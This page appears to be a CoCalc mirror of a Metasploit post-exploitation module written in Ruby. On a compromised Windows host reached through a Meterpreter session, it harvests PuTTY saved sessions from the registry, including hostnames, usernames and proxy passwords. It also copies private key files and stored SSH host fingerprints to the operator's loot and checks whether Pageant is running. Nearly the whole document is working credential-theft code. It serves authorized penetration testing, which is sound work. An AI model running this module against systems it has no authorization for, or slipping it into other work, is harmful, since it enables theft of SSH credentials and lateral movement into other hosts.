Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/enum_putty_saved_sessions.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Priv
8
include Msf::Post::Common
9
include Msf::Post::File
10
include Msf::Post::Windows::Registry
11
12
INTERESTING_KEYS = ['HostName', 'UserName', 'PublicKeyFile', 'PortNumber', 'PortForwardings', 'ProxyUsername', 'ProxyPassword']
13
PAGEANT_REGISTRY_KEY = 'HKCU\\Software\\SimonTatham\\PuTTY'
14
PUTTY_PRIVATE_KEY_ANALYSIS = ['Name', 'HostName', 'UserName', 'PublicKeyFile', 'Type', 'Cipher', 'Comment']
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'PuTTY Saved Sessions Enumeration Module',
21
'Description' => %q{
22
This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session
23
information from the registry. PuTTY is very configurable; some users may have configured
24
saved sessions which could include a username, private key file to use when authenticating,
25
host name etc. If a private key is configured, an attempt will be made to download and store
26
it in loot. It will also record the SSH host keys which have been stored. These will be connections that
27
the user has previously after accepting the host SSH fingerprint and therefore are of particular
28
interest if they are within scope of a penetration test.
29
},
30
'License' => MSF_LICENSE,
31
'Platform' => ['win'],
32
'SessionTypes' => ['meterpreter'],
33
'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'],
34
'Notes' => {
35
'Stability' => [CRASH_SAFE],
36
'SideEffects' => [],
37
'Reliability' => []
38
},
39
'Compat' => {
40
'Meterpreter' => {
41
'Commands' => %w[
42
stdapi_railgun_api
43
]
44
}
45
}
46
)
47
)
48
end
49
50
def get_saved_session_details(sessions)
51
all_sessions = []
52
sessions.each do |ses|
53
newses = {}
54
newses['Name'] = Rex::Text.uri_decode(ses)
55
INTERESTING_KEYS.each do |key|
56
newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s
57
end
58
all_sessions << newses
59
report_note(host: target_host, type: 'putty.savedsession', data: newses, update: :unique_data)
60
end
61
all_sessions
62
end
63
64
def display_saved_sessions_report(info)
65
# Results table holds raw string data
66
results_table = Rex::Text::Table.new(
67
'Header' => 'PuTTY Saved Sessions',
68
'Indent' => 1,
69
'SortIndex' => -1,
70
'Columns' => ['Name'].append(INTERESTING_KEYS).flatten
71
)
72
73
info.each do |result|
74
row = []
75
row << result['Name']
76
INTERESTING_KEYS.each do |key|
77
row << result[key]
78
end
79
results_table << row
80
end
81
82
print_line
83
print_line results_table.to_s
84
stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, 'PuTTY Saved Sessions List')
85
print_good("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).")
86
end
87
88
def display_private_key_analysis(info)
89
# Results table holds raw string data
90
results_table = Rex::Text::Table.new(
91
'Header' => 'PuTTY Private Keys',
92
'Indent' => 1,
93
'SortIndex' => -1,
94
'Columns' => PUTTY_PRIVATE_KEY_ANALYSIS
95
)
96
97
info.each do |result|
98
row = []
99
PUTTY_PRIVATE_KEY_ANALYSIS.each do |key|
100
row << result[key]
101
end
102
results_table << row
103
end
104
105
print_line
106
print_line results_table.to_s
107
# stored_path = store_loot('putty.sessions.csv', 'text/csv', session, results_table.to_csv, nil, "PuTTY Saved Sessions List")
108
# print_good("PuTTY saved sessions list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.savedsession' to view).")
109
end
110
111
def get_stored_host_key_details(allkeys)
112
# This hash will store (as the key) host:port pairs. This is basically a quick way of
113
# getting a unique list of host:port pairs.
114
all_ssh_host_keys = {}
115
116
# This regex will split up lines such as rsa2@22:127.0.0.1 from the registry.
117
rx_split_hostporttype = /^(?<type>[-a-z0-9]+?)@(?<port>[0-9]+?):(?<host>.+)$/i
118
119
# Go through each of the stored keys found in the registry
120
allkeys.each do |key|
121
# Store the raw key and value in a hash to start off with
122
newkey = {
123
rawname: key,
124
rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s
125
}
126
127
# Take the key and split up host, port and fingerprint type. If it matches, store the information
128
# in the hash for later.
129
split_hostporttype = rx_split_hostporttype.match(key.to_s)
130
if split_hostporttype
131
132
# Extract the host, port and key type into the hash
133
newkey['host'] = split_hostporttype[:host]
134
newkey['port'] = split_hostporttype[:port]
135
newkey['type'] = split_hostporttype[:type]
136
137
# Form the key
138
host_port = "#{newkey['host']}:#{newkey['port']}"
139
140
# Add it to the consolidation hash. If the same IP has different key types, append to the array
141
all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil?
142
all_ssh_host_keys[host_port] << newkey['type']
143
end
144
report_note(host: target_host, type: 'putty.storedfingerprint', data: newkey, update: :unique_data)
145
end
146
all_ssh_host_keys
147
end
148
149
def display_stored_host_keys_report(info)
150
# Results table holds raw string data
151
results_table = Rex::Text::Table.new(
152
'Header' => 'Stored SSH host key fingerprints',
153
'Indent' => 1,
154
'SortIndex' => -1,
155
'Columns' => ['SSH Endpoint', 'Key Type(s)']
156
)
157
158
info.each do |key, result|
159
row = []
160
row << key
161
row << result.join(', ')
162
results_table << row
163
end
164
165
print_line
166
print_line results_table.to_s
167
stored_path = store_loot('putty.storedfingerprints.csv', 'text/csv', session, results_table.to_csv, nil, 'PuTTY Stored SSH Host Keys List')
168
print_good("PuTTY stored host keys list saved to #{stored_path} in CSV format & available in notes (use 'notes -t putty.storedfingerprint' to view).")
169
end
170
171
def grab_private_keys(sessions)
172
private_key_summary = []
173
sessions.each do |ses|
174
filename = ses['PublicKeyFile'].to_s
175
next if filename.empty?
176
177
# Check whether the file exists.
178
if file?(filename)
179
ppk = read_file(filename)
180
if ppk # Attempt to read the contents of the file
181
stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk)
182
print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}")
183
184
# Now analyse the private key
185
private_key = {}
186
private_key['Name'] = ses['Name']
187
private_key['UserName'] = ses['UserName']
188
private_key['HostName'] = ses['HostName']
189
private_key['PublicKeyFile'] = ses['PublicKeyFile']
190
private_key['Type'] = ''
191
private_key['Cipher'] = ''
192
private_key['Comment'] = ''
193
194
# Get type of key
195
if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/
196
# This is an SSH1 header
197
private_key['Type'] = 'ssh1'
198
private_key['Comment'] = '-'
199
if ppk[33] == "\x00"
200
private_key['Cipher'] = 'none'
201
elsif ppk[33] == "\x03"
202
private_key['Cipher'] = '3DES'
203
else
204
private_key['Cipher'] = '(Unrecognised)'
205
end
206
elsif (rx = /^PuTTY-User-Key-File-2:\sssh-(?<keytype>rsa|dss)[\r\n]/.match(ppk.to_s))
207
# This is an SSH2 header
208
private_key['Type'] = "ssh2 (#{rx[:keytype]})"
209
if (rx = /^Encryption:\s(?<cipher>[-a-z0-9]+?)[\r\n]/.match(ppk.to_s))
210
private_key['Cipher'] = rx[:cipher]
211
else
212
private_key['Cipher'] = '(Unrecognised)'
213
end
214
215
if (rx = /^Comment:\s(?<comment>.+?)[\r\n]/.match(ppk.to_s))
216
private_key['Comment'] = rx[:comment]
217
end
218
end
219
private_key_summary << private_key
220
else
221
print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc
222
end
223
else
224
print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be read.")
225
end
226
end
227
private_key_summary
228
end
229
230
# Entry point
231
def run
232
# Look for saved sessions, break out if not.
233
print_status('Looking for saved PuTTY sessions')
234
saved_sessions = registry_enumkeys("#{PAGEANT_REGISTRY_KEY}\\Sessions")
235
if saved_sessions.nil? || saved_sessions.empty?
236
print_error('No saved sessions found')
237
else
238
239
# Tell the user how many sessions have been found (with correct English)
240
print_status("Found #{saved_sessions.count} session#{saved_sessions.count > 1 ? 's' : ''}")
241
242
# Retrieve the saved session details & print them to the screen in a report
243
all_saved_sessions = get_saved_session_details(saved_sessions)
244
display_saved_sessions_report(all_saved_sessions)
245
246
# If the private key file has been configured, retrieve it and save it to loot
247
print_status('Downloading private keys...')
248
private_key_info = grab_private_keys(all_saved_sessions)
249
if !private_key_info.nil? && !private_key_info.empty?
250
print_line
251
display_private_key_analysis(private_key_info)
252
end
253
end
254
255
print_line # Just for readability
256
257
# Now search for SSH stored keys. These could be useful because it shows hosts that the user
258
# has previously connected to and accepted a key from.
259
print_status('Looking for previously stored SSH host key fingerprints')
260
stored_ssh_host_keys = registry_enumvals("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys")
261
if stored_ssh_host_keys.nil? || stored_ssh_host_keys.empty?
262
print_error('No stored SSH host keys found')
263
else
264
# Tell the user how many sessions have been found (with correct English)
265
print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count > 1 ? 's' : ''}")
266
267
# Retrieve the saved session details & print them to the screen in a report
268
print_status('Downloading stored key fingerprints...')
269
all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys)
270
if all_stored_keys.nil? || all_stored_keys.empty?
271
print_error('No stored key fingerprints found')
272
else
273
display_stored_host_keys_report(all_stored_keys)
274
end
275
end
276
277
print_line # Just for readability
278
279
print_status('Looking for Pageant...')
280
hwnd = client.railgun.user32.FindWindowW('Pageant', 'Pageant')
281
if hwnd['return']
282
print_good("Pageant is running (Handle 0x#{sprintf('%x', hwnd['return'])})")
283
else
284
print_error('Pageant is not running')
285
end
286
end
287
end
288
289